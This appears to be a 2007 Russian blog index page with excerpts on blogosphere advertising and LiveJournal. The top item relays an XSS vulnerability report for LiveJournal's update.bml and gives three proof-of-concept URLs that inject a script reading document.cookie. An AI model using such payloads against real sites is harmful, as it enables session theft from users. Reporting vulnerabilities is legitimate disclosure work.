АЛАРМЕ11 ГОЛАКТЕКО ОПАСНОСТЕ!!!1111 XSS-уязвимости в Livejournal.com
Опубликовано 27.12.2007 - В рубриках: livejournal, Блогосфера, News | 1 комментарий
Как сообщает fuzzing.ru
Обнаружены XSS-уязвимости в сервисе блогов Livejournal.com
* Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого заголовка Expect.
Приложение: Apache до версий 1.3.34/2.0.57/2.2.1
Пример использования: http://www.securityfocus.com/archive/1/433280
* Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация GET-переменной usejournal.
Приложение: /update.bml
Примеры использования:
http://www.livejournal.com:80/update.bml?usejournal=>”>
<script%20%0a%0d>alert(document.cookie)%3B</script>
http://www.livejournal.com:80/update.bml?usejournal=>’>
<script%20%0a%0d>alert(document.cookie)%3B</script>
http://www.livejournal.com/update.bml?usejournal=–>
<script%20%0a%0d>alert(document.cookie)%3B</script>
***
За новость спасибо камраду ampir
Как назло нет времени потестировать толком. Примеры приведенные […]
Интернет-реклама в блогосфере(блогах) и не только. Цифры #1.
Опубликовано 17.12.2007 - В рубриках: Цифры, Блогосфера | Оставить комментарий
Собираю цифры для некоего проекта. Может еще кому-нибудь пригодятся =)
По оценке Ассоциации коммуникационных агентств России (АКАР), в 2005 году рекламодатели потратили на рекламу в Интернете 60 млн. долл. По данным АКАР, темпы прироста Интернет-рекламы в последние пять лет в среднем превышали 80% и к 2010 году оборот рынка достигнет 500 млн. долл. По экспертным оценкам, […]
Отец еврей – мать русская.
Опубликовано 14.12.2007 - В рубриках: Эксперименты, livejournal, Блогосфера, News | Комментариев (2)
Парадокс здесь в том, что по русским традициям такой человек будет считаться евреем, а по еврейским – русским %))
Почти то же самое и с компанией «СУП» - в Росии эта компания считается - "еврейской", а в Америке - "русской". Свой среди чужих и т.д… Угу.
В общем суть в том, что я сейчас провожу некое маркетинговое […]
Топ-лист
Опубликовано 12.12.2007 - В рубриках: Топ записей за сутки, Блогосфера | Оставить комментарий
Топ-лист 12.12.07
Что бы Ктулху не воскрес, подпишись на RSS!
Далее >>Топ-лист
Опубликовано 11.12.2007 - В рубриках: Топ записей за сутки, Блогосфера | Оставить комментарий
Топ-лист 11.12.07
Не чешись! На RSS подпишись!
Далее >>Топ-лист
Опубликовано 07.12.2007 - В рубриках: Топ записей за сутки, Блогосфера | Оставить комментарий
Топ-лист 08.12.07
Будь как свежий огурец! Подпишись на RSS!
Далее >>WEB 2.0 дает нам шанс
Опубликовано 05.12.2007 - В рубриках: Мысли, Яндекс, livejournal, Блогосфера | Оставить комментарий
Я уже писал о флэшмобах/акциях, как эффективнейшем инструменте пиара в блогосфере. А сейчас читая на Lenta.ru о "самом мощном флешмобе за последние годы" (насчет "самый" - это они конечно загнули %) - я подумал вот о чем: интересно, насколько изменится наше представление о рекламе как таковой в самые ближайшие годы под воздействием все большего проникновения […]
Далее >>Введение в интернет-рекламу в Блогосфере (ч.1)
Опубликовано 03.12.2007 - В рубриках: Топ записей за сутки, Яндекс, livejournal, Блогосфера | 1 комментарий
Получил на-днях письмо: "…Вашу статью о контроле потоков информации в рекламе прочитал на одном дыхании. Буду рад если появятся новые
статьи с таким подходом." - как всегда приятно, блин %) Креативу о контроле потоков в обед - триста лет, но письма приходят до сих пор, вызывая ностальгию. :-)
Последние пол-года я, помимо всего прочего, активно исследовал блогосферу. […]
Элита ЖЖ
Опубликовано 03.12.2007 - В рубриках: Словарь, livejournal, Блогосфера | 1 комментарий
Элита ЖЖ - устоявшийся термин, служащий для обозначения активных пользователей Живого Журнала, достигших некоторого очевидно-большого уровня популярности, и таким образом вносящих ощутимый вклад в формирование облика блогосферы в-целом.
Не чешись! На RSS подпишись!
Далее >>Опять о ценах
Опубликовано 26.11.2007 - В рубриках: Топ записей за сутки, Яндекс, livejournal, Блогосфера | Оставить комментарий
Похоже что сегодня Топ-30 Яндекса будет забит комментариями относительно опубликованного намедни прайс-листа на "заказные посты" у популярных блоггеров. Не хочу быть белой вороной, а посему тоже добавлю свои пять копеек.
Озвученные цифры комментировать не буду, я о другом хочу сказать. О системном подходе к рекламе в блогосфере. Т.е. дабы не растекаться мыслью по древу, суть пиара […]
